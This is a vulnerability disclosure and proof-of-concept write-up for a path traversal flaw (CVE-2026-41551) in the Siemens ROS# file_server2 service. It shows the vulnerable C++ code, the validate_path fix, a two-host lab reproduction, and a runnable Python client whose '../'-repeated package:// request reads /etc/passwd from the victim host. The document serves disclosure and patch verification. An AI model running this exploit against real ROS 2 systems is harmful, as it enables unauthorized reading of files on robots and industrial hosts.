
Proof-of-concept exploit for CVE-2026-41551, a path traversal vulnerability in Siemens ROS# file_server, demonstrating remote file read via crafted package:// requests.
Vulnerability: Siemens ROS#
file_server/file_server2service relative path traversal CVSS v3.1: 9.1 (AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:N) Affected versions: ros-sharp all < V2.2.2; fixed version: V2.2.2 (addedvalidate_path) Conclusion: This vulnerability can be exploited cross-host, not only locally. The following are the remote reproduction steps for "attacker 153 → victim 152".
get_file_callback directly concatenates the request path to the package share directory without traversal validation:
std::string address = request->name.substr(10); // remove "package://"
std::string package = address.substr(0, address.find("/"));
std::string filepath = address.substr(package.length());
std::string directory = ament_index_cpp::get_package_share_directory(package);
directory += filepath; // user-controllable, contains "../"
std::ifstream inputfile(directory.c_str(), std::ios::binary); // traversal to read arbitrary files
PoC request package://file_server2/<../×12>etc/passwd, traverses out of the package share directory to the root and reads the victim's local files.
Added validate_path: first performs path traversal check, then extension whitelist, and finally uses std::filesystem::canonical to confirm it has not escaped the package directory; save_file is disabled by default.
bool has_traversal(const std::string& path) { // forbid ".." and "."
for (const auto& part : std::filesystem::path(path))
if (part == ".." || part == ".") return true;
return false;
}
bool is_path_safe(const std::string& base_dir, const std::string& full_path) {
auto base = std::filesystem::canonical(base_dir);
auto target = std::filesystem::weakly_canonical(full_path);
auto [end, _] = std::mismatch(base.begin(), base.end(), target.begin());
return end == base.end(); // must still be within the package directory
}
bool validate_path(...) {
if (has_traversal(filepath)) { warn("Path traversal attempt blocked"); return false; }
Network topology (same ROS_DOMAIN_ID, DDS cross-host discovery):
Attacker 192.168.171.153 Victim 192.168.171.152
+---------------------------+ +---------------------------+
| ros2_humble + client | (1) get_file | file_server node |
| python3 poc.py | -------------> | /file_server/get_file |
| | | reads local /etc/passwd |
| | <------------- | (2) returns file content 2930 bytes|
+---------------------------+ +---------------------------+
ROS2 DDS (UDP 7400-7500 / multicast 239.255.0.x), ROS_DOMAIN_ID=0
/opt/ros/humble) and colcon.~/ros2_ws/src/file_server2 (ros-sharp 2.2.1, 13 files total).ROS_LOCALHOST_ONLY=1, otherwise only loopback is accessible and remote reproduction is impossible.source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
# Build the vulnerable package (skip if already built; rebuilding is harmless)
colcon build --packages-select file_server2
# Start the node (reboot-safe: clean up old processes first, then start)
# ~/start_fs.sh content is in Appendix A
bash ~/start_fs.sh
sleep 2
ros2 node list # should show local /file_server
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
# Also needs the file_server2 package for the client to import the GetBinaryFile type
colcon build --packages-select file_server2
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
sleep 2
ros2 node list # should discover cross-host /file_server (on 152)
ros2 service list | grep file_server
# should show: /file_server/get_file
python3 ~/poc.py
[*] Requesting: package://file_server2/../../../../../../../../../../../../etc/passwd
[*] Returned 2930 bytes
----- /etc/passwd (begin) -----
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
----- end -----
The attacker on 153 successfully read the /etc/passwd from the victim's 152 local host.
~/start_fs.sh#!/bin/bash
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
# Process name is truncated by the kernel to file_server2_no; clean up old instances precisely by command line
MYSELF=$$
for p in $(ps -eo pid,args | grep "file_server2_node" | grep -v grep | awk '{print $1}'); do
[ "$p" != "$MYSELF" ] && kill -9 "$p" 2>/dev/null
done
sleep 1
# Critical: do not set ROS_LOCALHOST_ONLY, otherwise only loopback is accessible
setsid bash -c "ros2 run file_server2 file_server2_node > ~/file_server.log 2>&1" >/dev/null 2>&1 </dev/null &
disown
sleep 2
echo "node started: $(pgrep -af file_server2_node | head -1)"
~/poc.pyimport rclpy
from rclpy.node import Node
from file_server2.srv import GetBinaryFile
class Client(Node):
def __init__(self):
super().__init__('poc_client')
self.cli = self.create_client(GetBinaryFile, '/file_server/get_file')
while not self.cli.wait_for_service(timeout_sec=5.0):
self.get_logger().info('waiting for service...')
def call(self, name):
req = GetBinaryFile.Request()
req.name = name
fut = self.cli.call_async(req)
rclpy.spin_until_future_complete(self, fut)
return fut.result()
def main():
rclpy.init()
c = Client()
# 12 "../" is enough to traverse from the package share directory to the root, then access etc/passwd
target = "package://file_server2/" + ("../" * 12) + "etc/passwd"
print(f"[*] Requesting: {target}")
res = c.call(target)
data = bytes(res.value) if res is not None else b''
print(f"[*] Returned {len(data)} bytes")
print("----- /etc/passwd (begin) -----")
print(data[:400].decode(errors='replace'))
print("----- end -----")
c.destroy_node()
rclpy.shutdown()
if __name__ == '__main__':
main()
| Role | Host IP | System | ROS | Description |
|---|
| Victim | 192.168.171.152 | Ubuntu 22.04 | Humble | Runs the file_server node; the file being read is on this host |
| Attacker | 192.168.171.153 | Ubuntu 22.04 | Humble | Same subnet; sends PoC calls to the victim's service |